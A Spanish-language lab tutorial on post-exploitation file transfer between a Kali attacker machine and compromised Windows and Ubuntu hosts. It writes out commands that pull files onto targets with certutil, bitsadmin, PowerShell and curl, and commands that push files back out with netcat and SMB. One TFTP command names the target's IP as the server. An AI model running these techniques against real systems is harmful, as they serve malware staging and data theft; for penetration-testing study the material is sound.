Guía para la Transferencia de Archivos en Escenarios de Post-Explotación
Índice
- Configuración del Laboratorio
- Transferencia de Archivos con wget
- Transferencia de Archivos con curl
- Transferencia de Archivos con certutil
- Transferencia de Archivos con bitsadmin
- Transferencia de Archivos con PowerShell
- Transferencia de Archivos con Servidor SMB
- Transferencia de Archivos con SCP
- Transferencia de Archivos con TFTP
- Transferencia de Archivos con FTP
- Métodos para Configurar el Servidor para la Transferencia de Archivos
- Transferencia de Archivos con Netcat
- Conclusión
Configuración del Laboratorio
Vamos a realizar la transferencia de archivos asumiendo que ya hemos comprometido la máquina objetivo y tenemos acceso inicial a la shell.
- Máquina Atacante: Kali Linux (192.168.10.5)
- Máquina Objetivo 1: Windows 10 (192.168.10.30)
- Máquina Objetivo 2: Ubuntu
En la máquina del atacante, configuraremos un servidor updog, que es un reemplazo ligero del servidor SimpleHTTPServer de Python.
Para instalar el servidor, ejecutamos el siguiente comando:
pip3 install updog
Después de la instalación, podemos ejecutar el servidor en el puerto 80 con el siguiente comando:
updog -p 80
Transferencia de Archivos con wget
Podemos usar el comando wget para transferir archivos. En Windows, debemos usar el flag -o
para guardar el archivo. El comando es:
powershell wget http://192.168.10.5/cyber4hack.txt -o cyber4hack.txt
dir
type cyber4hack.txt
Transferencia de Archivos con curl
curl es una herramienta poderosa de línea de comandos para transferir archivos usando diversos protocolos de red. El comando es:
curl http://192.168.10.5/cyber4hack.txt -o cyber4hack.txt
Transferencia de Archivos con certutil
certutil es una utilidad de línea de comandos en Windows para gestionar certificados y elementos criptográficos. El comando es:
certutil -urlcache -f http://192.168.10.5/cyber4hack.txt cyber4hack.txt
Para dividir archivos grandes, usamos:
certutil -urlcache -split -f http://192.168.10.5/cyber4hack.txt cyber4hack.txt
Transferencia de Archivos con bitsadmin
bitsadmin es una utilidad de línea de comandos para manejar tareas de Background Intelligent Transfer Service (BITS) en Windows. El comando es:
bitsadmin /transfer job http://192.168.10.5/cyber4hack.txt C:\Users\Public\cyber4hack.txt
Transferencia de Archivos con PowerShell
Para transferir archivos usando PowerShell, ejecutamos:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.10.5/cyber4hack.txt', 'cyber4hack.txt')
Transferencia de Archivos con Servidor SMB
SMB es un protocolo para comunicación que proporciona acceso compartido a archivos y puertos en una red. Para habilitarlo, usamos impacket-smbserver en Kali Linux:
impacket-smbserver share $(pwd) -smb2support
En Windows, ejecutamos:
copy \\192.168.10.5\share\cyber4hack.txt
Para copiar un archivo desde Windows a Kali, usamos:
copy cyber4hack.txt \\192.168.10.5\share\cyber4hack.txt
Desde otra máquina Linux, conectamos con smbclient y usamos los comandos put
y get
:
smbclient -L 192.168.10.5
smbclient “\\\\192.168.10.5\share”
ls
get cyber4hack.txt
put data.txt
Transferencia de Archivos con SCP
SCP es un método para transferir archivos de manera segura entre un sistema local y un servidor remoto o entre dos servidores remotos usando el protocolo SSH.
Para copiar un archivo desde Windows a Kali:
scp cyber4hack.txt kali@192.168.10.5:/tmp
Para transferir un archivo desde Kali a Windows:
scp cyber4hack.txt raj@192.168.10.30:/C:/Temp
Transferencia de Archivos con TFTP
TFTP es un protocolo básico y minimalista para la transferencia de archivos a través de una red, operando sobre UDP. Usamos el siguiente comando en Metasploit para configurar el servidor TFTP:
use auxiliary/server/tftp
set srvhost 192.168.10.5
set tftproot /root/raj
run
Para descargar el archivo en Windows:
tftp -i 192.168.10.30 GET cyber4hack.txt
dir
Transferencia de Archivos con FTP
FTP es un protocolo ampliamente utilizado para transferir archivos en una red. Usamos Metasploit para habilitar el servicio FTP:
use auxiliary/server/ftp
set srvhost 192.168.10.5
set ftproot /root/raj
set ftpuser raj
set ftppass 123
run
Para descargar el archivo después de autenticarnos en el servidor FTP:
ftp 192.168.10.5
dir
get cyber4hack.txt
bye
dir
También podemos usar pyftpdlib para configurar un servidor FTP en Kali:
pip3 install pyftpdlib
Para iniciar el servidor con autenticación:
python3 -m pyftpdlib -w -p 21 -u cyber4hack -P 123
Para una configuración de inicio de sesión anónimo:
python -m pyftpdlib -w -p 21
Métodos para Configurar el Servidor para la Transferencia de Archivos
Además de updog, podemos configurar un servidor con PHP o Python:
Con PHP:
php -S 0.0.0.0:8081
Con Python 2:
python2 -m SimpleHTTPServer 80
Con Python 3:
python3 -m http.server 8000
Transferencia de Archivos con Netcat
Netcat es una herramienta de red multifuncional para leer y escribir en conexiones de red sobre TCP o UDP. En Kali, ejecutamos:
nc -lvp 5555 > file.txt
En Ubuntu, para enviar el archivo:
nc 192.168.10.5 5555 < file.txt
En Windows, con nc.exe
:
nc.exe 192.168.10.5 5555 < data.txt
Para recibir el archivo en Kali:
nc -lvp 5555 > data.txt
cat data.txt
Conclusión
Hemos visto diversas técnicas para transferir archivos entre máquinas comprometidas. La elección de la herramienta adecuada dependerá del contexto y las circunstancias específicas.
No hay etiquetas para esta entrada.